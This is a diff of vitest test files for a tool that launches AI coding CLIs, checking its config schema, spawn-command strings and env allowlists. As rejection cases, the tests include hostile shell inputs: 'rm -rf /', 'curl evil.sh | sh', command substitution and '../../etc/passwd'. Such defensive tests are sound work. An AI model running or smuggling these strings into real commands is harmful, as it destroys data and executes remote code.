BRANCH_PATTERN.lastIndex = 0;
expect(sample.match(BRANCH_PATTERN), `pattern missed: ${sample}`).not.toBeNull();
}
BRANCH_PATTERN.lastIndex = 0;
expect(uncommented(" // mode === 'codex'\ncode();").match(BRANCH_PATTERN)).toBeNull();
});
it('has no unapproved id branches', () => {
const offenders = findings.filter((f) => !(f.key in ALLOWED_BRANCHES));
const detail = offenders.map((f) => ` ${f.file}:${f.line} ${f.expression}`).join('\n');
expect(
offenders,
offenders.length === 0
? ''
: `Found ${offenders.length} CLI-id branch(es) outside the stock catalog:\n${detail}\n\n` +
'Two ways out, in order of preference:\n' +
' 1. Express the difference as data on the CliEntry (a CliCapabilities field), or as a\n' +
' NAMED PROFILE in config/cli-registry/profiles.ts if it genuinely needs to run code.\n' +
' 2. If it is not a CLI-behaviour branch at all, add it to ALLOWED_BRANCHES in this file\n' +
" WITH the reason. Read this file's header before choosing option 2."
).toEqual([]);
});
it('has no stale allowlist entries', () => {
// An allowlisted branch that no longer exists is a lie about the codebase, and the next
// person to reintroduce that exact branch would sail straight through.
const present = new Set(findings.map((f) => f.key));
const stale = Object.keys(ALLOWED_BRANCHES).filter((key) => !present.has(key));
expect(stale, `ALLOWED_BRANCHES entries no longer present — delete them:\n ${stale.join('\n ')}`).toEqual([]);
});
});
describe('declared-for-later fields', () => {
/**
* The fields `CliEntry`'s header declares as not-yet-read. Each is frontend behaviour, and
* the frontend is untouched by this change.
*
* This is here so the list cannot quietly GROW. An unread field is a promise the code does
* not keep, and the failure mode is a reader trusting one: the next person sees
* `echo.policy: 'buffer'` on an entry and assumes the terminal honours it. Adding a field
* nobody reads should be a decision someone makes on purpose, which means updating this
* list — and wiring one up should make its line here fail, which is the good direction.
*/
const DECLARED_FOR_LATER = [
'shortBadge',
'accent',
'capabilities.echo',
'capabilities.wheelForward',
'capabilities.keyboardAccessory',
'capabilities.maxFrameBytes',
];
/** Read every `.ts` under src/, minus the registry itself (which of course names them). */
function sourceOutsideRegistry(): string {
const parts: string[] = [];
const stack = [SRC];
while (stack.length > 0) {
const dir = stack.pop()!;
for (const name of readdirSync(dir)) {
const full = join(dir, name);
if (statSync(full).isDirectory()) {
if (name !== 'cli-registry') stack.push(full);
continue;
}
if (name.endsWith('.ts')) parts.push(uncommented(readFileSync(full, 'utf-8')));
}
}
return parts.join('\n');
}
/**
* Receivers whose same-named property is NOT this field. A leaf-name match is all a static
* check can do, and `cli.ts` calls `palette.accent('admin')` — the terminal colour helper,
* unrelated to `CliEntry.accent`. Listing the receiver is better than dropping the field
* from the check: a real read through any OTHER receiver still fails.
*/
const UNRELATED_RECEIVERS: Record<string, string[]> = { accent: ['palette'] };
const outside = sourceOutsideRegistry();
it.each(DECLARED_FOR_LATER)('%s is still unread outside the registry', (field) => {
const leaf = field.split('.').pop()!;
const ignore = UNRELATED_RECEIVERS[leaf] ?? [];
// `.<leaf>` as a property access. Comment lines are already blanked, so a mention in
// prose does not count as a read; a receiver listed above does not either.
const pattern = new RegExp(`(\\w*)\\.${leaf}\\b`, 'g');
const uses = [...outside.matchAll(pattern)].filter((m) => !ignore.includes(m[1])).map((m) => m[0]);
expect(
uses,
`${field} now looks READ outside config/cli-registry. If that is deliberate, drop it ` +
"from DECLARED_FOR_LATER here and from CliEntry's header comment — the point of both " +
'is that a reader can tell which fields are load-bearing.'
).toEqual([]);
});
it('still catches a read when there is one (anti-vacuity)', () => {
// The check is only worth having if it fires, so prove it against a field that IS read.
// `capabilities.ralph` is live in session-routes; if this ever stops matching, the
// scanner has drifted and every assertion above is passing vacuously.
expect(outside).toMatch(/\.ralph\b/);
expect(DECLARED_FOR_LATER.length).toBeGreaterThan(0);
});
});
+256
View File
@@ -0,0 +1,256 @@
/**
* @fileoverview Validation rules for a `CliEntry`.
*
* `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this
* schema is a security boundary, not a typo-catcher. Two properties carry that weight:
*
* - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a
* misspelled field name degrades to "field absent → the permissive default applies",
* which is the worst possible failure mode for a field like `privilegedEnvKeys`.
* - **No shell text can reach the command line.** Every literal is checked against a
* safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather
* than being dropped — a silently dropped flag would change security-relevant behaviour
* (losing `--no-approve` is not a cosmetic difference).
*
* Port: none (pure schema).
*/
import { describe, it, expect } from 'vitest';
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */
function baseEntry(id = 'pi'): Record<string, unknown> {
const found = STOCK_CLIS.find((e) => (e.id as string) === id);
if (!found) throw new Error(`no stock entry ${id}`);
return JSON.parse(JSON.stringify(found)) as Record<string, unknown>;
}
function expectRejected(mutate: (entry: Record<string, unknown>) => void, because: string): void {
const entry = baseEntry();
mutate(entry);
const result = CliEntrySchema.safeParse(entry);
expect(result.success, `expected rejection: ${because}`).toBe(false);
}
describe('the shipped catalog', () => {
it('validates every stock entry exactly as shipped', () => {
// If this fails, the catalog cannot load at all — every other test here is downstream.
for (const entry of STOCK_CLIS) {
const result = CliEntrySchema.safeParse(entry);
expect(
result.success,
`stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}`
).toBe(true);
}
expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9);
});
it('ships every entry with a unique id and order', () => {
const ids = STOCK_CLIS.map((e) => e.id as string);
expect(new Set(ids).size).toBe(ids.length);
const orders = STOCK_CLIS.map((e) => e.order);
expect(new Set(orders).size).toBe(orders.length);
});
});
describe('strictness', () => {
it('rejects an unknown key at the top level', () => {
expectRejected((e) => {
e.unknownField = true;
}, 'a typo must not degrade to a permissive default');
});
it('rejects an unknown key deep inside capabilities', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).newSwitch = true;
}, 'strictness has to hold at every depth, not just the top');
});
it('rejects an unknown key inside discovery', () => {
expectRejected((e) => {
(e.discovery as Record<string, unknown>).probeEverything = true;
}, 'strictness has to hold at every depth');
});
});
describe('no shell text can reach the command line', () => {
it('rejects a literal carrying shell metacharacters', () => {
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
expectRejected(
(e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args[0] = { lit: evil };
},
`literal ${JSON.stringify(evil)} must be refused`
);
}
});
it('rejects a fixed flag VALUE carrying shell metacharacters', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--model', value: 'a`b`' });
}, 'a fixed value is a literal too');
});
it('rejects a flag that does not look like a flag', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: 'rm -rf /' });
}, 'a flag must match -x / --long-flag');
});
it('rejects an overlay command that is more than bare words', () => {
expectRejected((e) => {
e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } };
}, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell');
});
});
describe('cross-field integrity', () => {
it('rejects a valueFrom naming an undeclared param', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' });
}, 'a dangling valueFrom silently emits nothing');
});
it('rejects a capabilityGate naming an undeclared gate', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } });
}, 'an unknown gate never passes, so the flag would be silently unreachable');
});
it('rejects a fallback chain whose last variant is conditional', () => {
expectRejected((e) => {
const launch = e.launch as Record<string, unknown>;
launch.chain = 'fallback';
(launch.variants as Array<Record<string, unknown>>)[0].when = { param: 'model', state: 'set' };
}, 'the terminal case of a fallback chain must be guaranteed to render');
});
it('rejects a legacyConfigAliases key naming an undeclared param', () => {
expectRejected((e) => {
(e.launch as Record<string, unknown>).legacyConfigAliases = { nope: 'resumeSessionId' };
}, 'an alias for a param that does not exist can never apply');
});
it('rejects a configSetenv reading an undeclared param', () => {
// Losing this mapping for DeepSeek would silently drop a permission clamp.
expectRejected((e) => {
(e.env as Record<string, unknown>).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }];
}, 'exporting from a param that does not exist would export nothing, silently');
});
it('rejects a privilegedParams clamp naming an undeclared param', () => {
// The security-relevant twin of the configSetenv case above, and the sharper of the two:
// `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's
// privilege switch, and a wrong name there clamps NOTHING with no error anywhere.
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).privilegedParams = [{ param: 'nope', clampTo: false }];
}, 'clamping a param that does not exist would silently stop clamping');
});
it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => {
// codex is the entry where the two names differ, so it is the one that catches a
// regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the
// param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the
// shipped entry must be on the param side of that line.
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
expect(codex).toBeDefined();
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
const wrong = baseEntry('codex');
(wrong.capabilities as Record<string, unknown>).privilegedParams = [
{ param: 'dangerouslyBypassApprovals', clampTo: false },
];
expect(CliEntrySchema.safeParse(wrong).success).toBe(false);
});
it('rejects a profile name this build does not implement', () => {
expectRejected((e) => {
(e.discovery as Record<string, unknown>).launcherProfile = 'no-such-profile';
}, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled');
expectRejected((e) => {
(e.env as Record<string, unknown>).setenvProfile = 'no-such-profile';
}, 'an unimplemented setenv profile silently skips setup the CLI needs');
});
});
describe('the env allowlist cannot be widened by config', () => {
it('requires a prefix to end with an underscore', () => {
expectRejected((e) => {
(e.env as Record<string, unknown>).allowedPrefixes = ['CLAUDE'];
}, 'a prefix without a trailing _ matches more namespaces than it names');
});
it('rejects a prefix short enough to swallow unrelated namespaces', () => {
// The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at
// once, and the allowlist is ONE GLOBAL LIST applied to every mode.
expectRejected((e) => {
(e.env as Record<string, unknown>).allowedPrefixes = ['P_'];
}, 'a 2-char prefix is too broad for a global allowlist');
});
it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).privilegedEnvKeys = ['dsh-permission-mode'];
}, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key');
});
});
describe('identity', () => {
it('rejects an id that is not a lowercase kebab token', () => {
for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) {
const entry = baseEntry();
entry.id = bad;
expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false);
}
});
it('rejects an accent that is not a 6-digit hex colour', () => {
expectRejected((e) => {
e.accent = 'red';
}, 'the accent is interpolated into CSS');
});
it('accepts a well-formed custom entry built from a stock one', () => {
const entry = baseEntry();
entry.id = 'my-cli';
entry.label = 'My CLI';
entry.stock = false;
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
});
});
describe('capability shapes', () => {
it('accepts only the three hook states', () => {
for (const value of ['none', 'always', 'supervised']) {
const entry = baseEntry();
(entry.capabilities as Record<string, unknown>).hooks = value;
expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true);
}
// A boolean was the old shape and must NOT quietly work — `true` would have to mean
// 'always', which is wrong for a supervised CLI.
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).hooks = true;
}, 'hooks is a tri-state, not a boolean');
});
it('accepts only known transcript readers', () => {
const entry = baseEntry() as unknown as CliEntry;
for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) {
const candidate = baseEntry();
(candidate.capabilities as Record<string, unknown>).transcript = value;
expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true);
}
expect(entry.capabilities.transcript).toBeDefined();
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).transcript = 'some-future-format';
}, 'a transcript reader that does not exist would silently read nothing');
});
});
+295
View File
@@ -0,0 +1,295 @@
/**
* @fileoverview GOLDEN spawn-command pins for the CLI registry's argv engine.
*
* Every expectation here is a LITERAL STRING, deliberately. An earlier version of this work
* compared the engine against `buildSpawnCommand()` instead — which read as a strong parity
* proof right up until `buildSpawnCommand` was itself switched over to call the engine, at
* which point it was comparing the engine with itself and would have happily accepted any
* regression the two shared. Literals cannot rot that way: they were captured from the
* hand-written builders BEFORE those builders were removed, and they are now the only
* surviving record of what those builders emitted.
*
* ⚠️ If a change here makes one of these fail, the question is never "what is the new string?"
* It is "which real CLI invocation just changed, and is that intended?" A byte that moves in
* this file is a byte that moves in a command line Codeman executes.
*
* Coverage note: every mode with a launch spec is pinned, `grok` and `deepseek` included.
* Grok had no parity coverage at all in the first draft of the registry, and deepseek did not
* exist in it — the two modes most likely to be transcribed wrong were the two nothing
* checked.
*
* Port: none (pure function over registry data).
*/
import { describe, it, expect } from 'vitest';
import { getCli } from '../src/config/cli-registry/registry.js';
import { buildSpawnCommandFromRegistry, type SpawnBridgeOptions } from '../src/session-cli-registry-bridge.js';
/** A fixed session id, so `--session-id` is stable across runs. */
const SID = '0f9c2b14-1111-2222-3333-444455556666';
function render(options: SpawnBridgeOptions): string | undefined {
const entry = getCli(options.mode);
if (!entry) throw new Error(`no registry entry for mode ${options.mode}`);
return buildSpawnCommandFromRegistry(entry, options);
}
/** Every claude case pins an explicit `claudeCliVersion` so the --name gate is deterministic. */
function claude(extra: Partial<SpawnBridgeOptions> = {}): string | undefined {
return render({ mode: 'claude', sessionId: SID, claudeCliVersion: null, ...extra });
}
describe('claude', () => {
it('defaults to skip-permissions plus a new session id', () => {
expect(claude()).toBe('claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"');
});
it('maps each permission mode', () => {
expect(claude({ claudeMode: 'auto' })).toBe(
'claude --permission-mode auto --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
expect(claude({ claudeMode: 'normal' })).toBe('claude --session-id "0f9c2b14-1111-2222-3333-444455556666"');
expect(claude({ claudeMode: 'allowedTools', allowedTools: 'Bash(git:*), Read' })).toBe(
'claude --allowedTools "Bash(git:*), Read" --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
});
it('resumes through a shell fallback to a fresh session', () => {
// The ` || ` is emitted by the ENGINE, not by config — no registry field can hold shell
// text. This pin is what proves the fallback chain still renders as one command line.
expect(claude({ resumeSessionId: 'abc-123-def' })).toBe(
'claude --dangerously-skip-permissions --resume "abc-123-def" || ' +
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
});
it('carries effort as a flag, and ultracode as a settings blob', () => {
expect(claude({ effort: 'max' })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --effort \'max\''
);
expect(claude({ effort: 'ultracode' })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
'--settings \'{"ultracode":true}\''
);
});
it('gates --name on the CLI version, failing closed when it is unknown', () => {
const named = { sessionName: 'w1 alpha' };
expect(claude({ ...named, claudeCliVersion: '2.1.226' })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --name "w1 alpha"'
);
expect(claude({ ...named, claudeCliVersion: '2.1.223' })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
// Unknown version satisfies NO gate. A version probe that fails must not silently
// upgrade behaviour.
expect(claude({ ...named, claudeCliVersion: null })).toBe(
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
);
});
});
describe('opencode', () => {
const oc = (openCodeConfig?: SpawnBridgeOptions['openCodeConfig']) =>
render({ mode: 'opencode', sessionId: SID, openCodeConfig });
it('spawns bare by default', () => {
expect(oc()).toBe('opencode');
});
it('reads its resume id through the legacy `continueSession` alias', () => {
expect(oc({ model: 'anthropic/claude', continueSession: 'ses_9' })).toBe(
'opencode --model anthropic/claude --session ses_9'
);
});
it('only forks an existing session', () => {
expect(oc({ continueSession: 'ses_9', forkSession: true })).toBe('opencode --session ses_9 --fork');
// --fork with nothing to fork from would be meaningless, so it drops out entirely.
expect(oc({ forkSession: true })).toBe('opencode');
});
});
describe('codex', () => {
const cx = (codexConfig?: SpawnBridgeOptions['codexConfig']) =>
render({ mode: 'codex', sessionId: SID, codexConfig });
it('spawns bare by default', () => {
expect(cx()).toBe('codex');
});
it('emits the bypass flag only when asked', () => {
expect(cx({ dangerouslyBypassApprovals: true })).toBe('codex --dangerously-bypass-approvals-and-sandbox');
expect(cx({ dangerouslyBypassApprovals: false })).toBe('codex');
});
it('sends animations as an explicit true/false config pair', () => {
expect(cx({ animations: true })).toBe('codex --config tui.animations=true');
expect(cx({ animations: false })).toBe('codex --config tui.animations=false');
});
it('resumes with a POSITIONAL subcommand, not a flag', () => {
expect(cx({ model: 'gpt-5', resumeSessionId: 'roll_42' })).toBe('codex --model gpt-5 resume roll_42');
});
});
describe('gemini', () => {
const gm = (geminiConfig?: SpawnBridgeOptions['geminiConfig']) =>
render({ mode: 'gemini', sessionId: SID, geminiConfig });
it('defaults an absent approval mode to yolo', () => {
// ⚠️ This is the DEFAULT-IS-UNSAFE case the multi-user clamp has to MATERIALIZE a config
// for: sending no geminiConfig at all still yields yolo, so an only-if-sent clamp would
// miss it entirely. See test/routes/external-cli-bypass-clamp.test.ts.
expect(gm()).toBe('gemini --skip-trust --approval-mode yolo');
});
it('honours an explicit approval mode', () => {
expect(gm({ approvalMode: 'auto_edit' })).toBe('gemini --skip-trust --approval-mode auto_edit');
});
it('reads its resume id through the legacy `resumeSession` alias', () => {
expect(gm({ model: 'gemini-3-pro', resumeSession: 'conv.7' })).toBe(
'gemini --skip-trust --approval-mode yolo --model gemini-3-pro --resume conv.7'
);
});
});
describe('antigravity', () => {
const ag = (antigravityConfig?: SpawnBridgeOptions['antigravityConfig']) =>
render({ mode: 'antigravity', sessionId: SID, antigravityConfig });
it('runs `agy`, not `antigravity`', () => {
// The mode name is not the binary name. Assuming it was is a bug this registry fixes.
expect(ag()).toBe('agy');
});
it('emits its flags', () => {
expect(ag({ dangerouslySkipPermissions: true, model: 'gemini-3-pro' })).toBe(
'agy --dangerously-skip-permissions --model gemini-3-pro'
);
expect(ag({ resumeConversationId: 'conv-99' })).toBe('agy --conversation conv-99');
});
});
describe('pi', () => {
const pi = (piConfig?: SpawnBridgeOptions['piConfig']) => render({ mode: 'pi', sessionId: SID, piConfig });
it('spawns bare by default', () => {
expect(pi()).toBe('pi');
});
it('renders the full option set', () => {
expect(pi({ model: 'sonnet:high', provider: 'anthropic', thinking: 'xhigh' })).toBe(
'pi --model sonnet:high --provider anthropic --thinking xhigh'
);
});
it('treats project trust as a TRI-state', () => {
// Absent is a third state, not a synonym for false: it leaves pi to ask interactively.
expect(pi({ approveProjectTrust: true })).toBe('pi --approve');
expect(pi({ approveProjectTrust: false })).toBe('pi --no-approve');
expect(pi()).toBe('pi');
});
it('prefers an explicit session id over -c', () => {
expect(pi({ resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14');
expect(pi({ continueSession: true })).toBe('pi -c');
expect(pi({ continueSession: true, resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14');
});
});
describe('grok', () => {
const gk = (grokConfig?: SpawnBridgeOptions['grokConfig']) => render({ mode: 'grok', sessionId: SID, grokConfig });
it('spawns bare by default', () => {
expect(gk()).toBe('grok');
});
it('emits its bypass flag only when asked', () => {
expect(gk({ alwaysApprove: true, model: 'grok-4.5' })).toBe('grok --always-approve --model grok-4.5');
expect(gk({ alwaysApprove: false })).toBe('grok');
});
it('prefers an explicit resume id over --continue', () => {
expect(gk({ resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4');
expect(gk({ continueSession: true })).toBe('grok --continue');
expect(gk({ continueSession: true, resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4');
});
it('never puts a credential on the command line', () => {
// grok authenticates from XAI_API_KEY, pushed via `tmux setenv`. There is no --api-key
// arg in its launch spec and there must never be one: the command line is visible to
// every process on the box.
const cmd = gk({ alwaysApprove: true, model: 'grok-4.5' }) ?? '';
expect(cmd).not.toContain('key');
expect(cmd).not.toContain('token');
});
});
describe('deepseek', () => {
const ds = (deepSeekConfig?: SpawnBridgeOptions['deepSeekConfig']) =>
render({ mode: 'deepseek', sessionId: SID, deepSeekConfig });
it('launches a named profile', () => {
expect(ds({ profile: 'dsh-tui' })).toBe('dsh --profile dsh-tui');
});
it('prefers an explicit resume id over the bare --resume', () => {
expect(ds({ profile: 'p', resumeSessionId: 'sess_42' })).toBe('dsh --profile p --resume sess_42');
expect(ds({ profile: 'p', resumeSession: true })).toBe('dsh --profile p --resume');
});
it('never puts the permission mode on the command line', () => {
// dsh has no permission FLAG — the switch is the DSH_PERMISSION_MODE env var, exported
// via `tmux setenv`. If this ever renders as an argument, the multi-user clamp and the
// env-key drop are both looking at the wrong surface.
const cmd = ds({ profile: 'p', permissionMode: 'danger-full-access' }) ?? '';
expect(cmd).toBe('dsh --profile p');
expect(cmd).not.toContain('danger-full-access');
expect(cmd).not.toContain('permission');
});
});
describe('shell', () => {
it('renders no command at all', () => {
// `undefined` is the signal to fall back to local login-shell resolution, which varies
// per user's /etc/passwd entry and so cannot be templated. An empty string would be a
// command, and a wrong one.
expect(render({ mode: 'shell', sessionId: SID })).toBeUndefined();
});
});
describe('unsafe values are DROPPED, never escaped into the command', () => {
// The hand-written builders silently omitted an argument whose value failed its allowlist,
// rather than quoting it through. That is the behaviour being preserved: a rejected value
// must not reach the CLI in ANY form, because "quoted but present" still lets a caller
// steer the agent (a bogus --model, a traversal path as a session id).
it.each([
['claude model', { mode: 'claude' as const, model: 'opus`whoami`' }, 'opus'],
['claude resume id', { mode: 'claude' as const, resumeSessionId: '../../etc/passwd' }, 'passwd'],
[
'claude allowedTools',
{ mode: 'claude' as const, claudeMode: 'allowedTools' as const, allowedTools: 'Bash(x); rm -rf /' },
'rm',
],
])('%s', (_label, extra, forbidden) => {
const cmd = claude(extra) ?? '';
expect(cmd).not.toContain(forbidden);
expect(cmd).not.toContain('`');
expect(cmd).not.toContain(';');
});
it('drops an unsafe pi model without falling back to a different one', () => {
expect(render({ mode: 'pi', sessionId: SID, piConfig: { model: 'a`b' } })).toBe('pi');
});
it('refuses a deepseek profile that is not a single path segment', () => {
// A profile name is joined into a filesystem path as well as a shell line, so `../evil`
// has to fail the token pattern rather than be quoted. With no valid name and no default
// profile installed, the flag drops out entirely and dsh picks its own.
const cmd = render({ mode: 'deepseek', sessionId: SID, deepSeekConfig: { profile: '../evil' } }) ?? '';
expect(cmd).not.toContain('evil');
expect(cmd).not.toContain('..');
});
});
+6 -1
View File
@@ -275,8 +275,13 @@ describe('DeepSeek status bridge', () => {
// Those sessions must keep the pane segmenter. Static, because standing up
// a docker/remote session in the unit harness is exactly what the tmux
// test-mode mocks exist to avoid.
//
// The mode check itself is now a capability read (`transcript === 'deepseek-zstd'`) —
// which reader understands this CLI's on-disk history is exactly the kind of fact the
// CLI registry owns. What this test guards is unchanged and is the part that matters:
// the two LOCATION exclusions beside it.
const routes = readFileSync(join(process.cwd(), 'src/web/routes/session-routes.ts'), 'utf-8');
expect(routes).toMatch(/session\.mode === 'deepseek' && !session\.docker && !session\.remote/);
expect(routes).toMatch(/capabilities\.transcript === 'deepseek-zstd' && !session\.docker && !session\.remote/);
});
it('maps the harness lifecycle states onto real hook events', () => {
+48 -16
View File
@@ -1,5 +1,5 @@
import { describe, it, expect } from 'vitest';
import { DEPENDENCY_REGISTRY } from '../src/config/dependency-registry.js';
import { dependencyRegistry } from '../src/config/dependency-registry.js';
import {
detectEnvironment,
extractVersion,
@@ -11,41 +11,73 @@ import {
import type { ProbeHost } from '../src/utils/dependency-checker.js';
import type { ProbeEnvironment, ToolDependency } from '../src/config/dependency-registry.js';
import { PI_VERSION_REGEX } from '../src/utils/pi-cli-resolver.js';
import { GROK_VERSION_REGEX } from '../src/utils/grok-cli-resolver.js';
import { DEEPSEEK_VERSION_REGEX } from '../src/utils/deepseek-cli-resolver.js';
import { enabledClis } from '../src/config/cli-registry/registry.js';
describe('DEPENDENCY_REGISTRY', () => {
describe('dependencyRegistry()', () => {
it('has unique ids', () => {
const ids = DEPENDENCY_REGISTRY.map((t) => t.id);
const ids = dependencyRegistry().map((t) => t.id);
expect(new Set(ids).size).toBe(ids.length);
});
it('hard-requires only node and tmux; agent CLIs and office are optional', () => {
const required = DEPENDENCY_REGISTRY.filter((t) => t.required)
const required = dependencyRegistry()
.filter((t) => t.required)
.map((t) => t.id)
.sort();
expect(required).toEqual(['node', 'tmux']);
// all agent CLIs are optional (Codeman runs any of them)
const agentClis = ['claude', 'opencode', 'codex'];
expect(DEPENDENCY_REGISTRY.filter((t) => agentClis.includes(t.id)).every((t) => t.required === false)).toBe(true);
const office = DEPENDENCY_REGISTRY.filter((t) => t.category === 'office');
expect(
dependencyRegistry()
.filter((t) => agentClis.includes(t.id))
.every((t) => t.required === false)
).toBe(true);
const office = dependencyRegistry().filter((t) => t.category === 'office');
expect(office.every((t) => t.required === false)).toBe(true);
});
it('resolves pi through the SAME version rule the run mode uses', () => {
// `pi` is a short generic name, so pi-cli-resolver.ts refuses a binary that does not
// print semver. If the doctor did not apply the identical rule it would report
// "Pi CLI ✓" on a box where Run Pi stays hidden, which reads as a broken mode
// rather than a missing install. One regex, shared, is what keeps them agreeing.
const pi = DEPENDENCY_REGISTRY.find((t) => t.id === 'pi');
expect(pi).toBeDefined();
const spec = pi!.resolvers.find((r) => r.resolver.kind === 'path');
it.each([
['pi', PI_VERSION_REGEX],
['grok', GROK_VERSION_REGEX],
['dsh', DEEPSEEK_VERSION_REGEX],
])('resolves %s through the SAME version rule the run mode uses', (id, expected) => {
// These three have short, generic or squatted binary names, so their resolvers refuse a
// binary that does not print the right shape of version. If the doctor did not apply the
// identical rule it would report "Pi CLI ✓" on a box where Run Pi stays hidden, which
// reads as a broken mode rather than a missing install.
//
// Both sides now read one registry entry, so they cannot drift — but the assertion
// compares SOURCE rather than object identity, because the doctor compiles the entry's
// serialized pattern through compileVersionRegex()'s ReDoS guard rather than importing
// the resolver's own RegExp object.
const tool = dependencyRegistry().find((t) => t.id === id);
expect(tool).toBeDefined();
const spec = tool!.resolvers.find((r) => r.resolver.kind === 'path');
expect(spec).toBeDefined();
const resolver = spec!.resolver as { versionRegex?: RegExp; requireVersionMatch?: boolean };
expect(resolver.requireVersionMatch).toBe(true);
expect(resolver.versionRegex).toBe(PI_VERSION_REGEX);
expect(resolver.versionRegex?.source).toBe(expected.source);
});
it('keeps a doctor row for every CLI that has a binary to probe', () => {
// An earlier draft of the registry refactor silently dropped the grok and dsh rows, so
// `codeman doctor` stopped reporting two shipped CLIs entirely. Derive the expectation
// from the registry so this cannot pass by being updated to match a shrunken table.
const probeable = enabledClis().filter((c) => c.discovery.binaries.length > 0);
expect(probeable.length).toBeGreaterThanOrEqual(8);
for (const cli of probeable) {
const bin = cli.discovery.binaries[0];
const row = dependencyRegistry().find((t) =>
t.resolvers.some((r) => r.resolver.kind === 'path' && r.resolver.bins.includes(bin))
);
expect(row, `no codeman doctor row probes ${bin} (for CLI "${cli.id as string}")`).toBeDefined();
}
});
it('gives msoffice a windows-side resolver scoped to wsl + win32 only', () => {
const ms = DEPENDENCY_REGISTRY.find((t) => t.id === 'msoffice');
const ms = dependencyRegistry().find((t) => t.id === 'msoffice');
expect(ms).toBeDefined();
const spec = ms!.resolvers.find((r) => r.resolver.kind === 'windows-side');
expect(spec).toBeDefined();
+63
View File
@@ -0,0 +1,63 @@
/**
* @fileoverview Golden pins for the remote/docker LOCATION OVERLAY commands, now that both
* are read from `overlays.<location>` on the registry entry rather than from a hardcoded
* `Record<…CommandMode, string>` in each file.
*
* The literals below are transcribed from those two tables as they stood BEFORE the wiring,
* which is the whole point: the tables were dead-simple duplicates of registry data with
* nothing keeping the two in step, and the way to delete a duplicate safely is to pin what it
* produced first. A diff here means an entry's `overlays` (or its first declared binary)
* changed what a remote or in-container pane actually runs.
*
* Note the two arms deliberately NOT read from an entry, each for its own reason: remote
* `shell` resolves the REMOTE user's login shell (unknowable from here, hence `$SHELL`), and
* docker `shell` is the entry that declares `docker: { disabled: true }` — a container has no
* per-user login shell to resolve, so it gets a plain `bash -l`.
*
* Port: none (pure, over registry data).
*/
import { it, expect } from 'vitest';
import { defaultRemoteCommandForMode, remoteLoginShellCommand } from '../src/remote-hosts.js';
import { defaultDockerCommandForMode } from '../src/docker-hosts.js';
import type { SessionMode } from '../src/types/session.js';
const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"';
it('pins every remote pane command', () => {
const expected: Record<string, string> = {
shell: `exec ${REMOTE_LOGIN_SHELL} -i -l`,
claude: remoteLoginShellCommand('claude --dangerously-skip-permissions'),
opencode: remoteLoginShellCommand('opencode'),
codex: remoteLoginShellCommand('codex'),
gemini: remoteLoginShellCommand('gemini'),
antigravity: remoteLoginShellCommand('agy'),
pi: remoteLoginShellCommand('pi'),
grok: remoteLoginShellCommand('grok'),
deepseek: remoteLoginShellCommand('dsh'),
